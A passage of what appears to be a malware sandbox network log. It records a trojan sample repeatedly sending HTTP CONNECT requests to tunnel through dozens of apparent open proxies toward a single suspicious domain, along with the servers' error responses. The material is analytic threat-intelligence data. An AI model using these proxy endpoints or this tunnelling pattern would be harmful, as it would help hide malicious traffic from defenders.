968	192.168.2.8	52982	121.128.194.154	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.896601915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.8	53082	98.178.72.21	10919	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.908819914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.8	53083	20.58.43.148	2028	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.912221909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.382481098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.991872072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.991797924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898216009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.898194075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.820547104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.581837893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.8	52962	8.213.129.20	19	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.921027899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.8	53120	172.67.127.188	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.921144962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.009013891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.8	53099	45.43.84.163	6788	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.923825026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.351852894 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.8	52967	39.107.33.254	8090	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.929047108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.244277000 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.3 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.8	53096	51.75.126.150	36694	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.931320906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.491832018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.194983959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.8	52953	125.94.219.96	9091	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.937427044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.290190935 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.8	53139	104.16.213.202	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.937501907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.025789976 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.8	53125	104.16.221.57	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.938160896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.026859999 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.8	52957	103.118.46.174	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.938316107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.8	52943	58.253.210.122	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.943450928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.8	53121	159.203.5.54	58249	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.950625896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.8	53074	221.153.92.39	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.957282066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.233163118 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.8	52984	154.118.228.212	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.960278034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.8	52632	20.78.102.191	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.962054968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.991908073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.999922991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.195077896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.8	53038	119.28.60.64	8090	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.969841957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.275105000 CET	315	IN	HTTP/1.1 400 Bad Request Server: hzg/hzg Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 168 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 68 7a 67 2f 68 7a 67 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>hzg/hzg</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.8	53144	192.210.228.28	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.978101969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.8	53027	128.199.202.122	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.986377954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.889153004 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.8	53060	203.222.24.36	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.987410069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.297027111 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.8	53031	171.248.219.108	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.004268885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.8	53122	47.229.171.150	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.012932062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.492013931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.195029974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.382545948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.679538965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.882642984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.179497957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.679536104 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.8	53075	203.171.19.98	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.012943029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.337385893 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.10.2 Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.10.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.8	51931	174.64.199.79	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.013221979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.8	52794	35.207.123.94	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:29.019933939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.049401045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.194958925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.339044094 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 13:28:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML 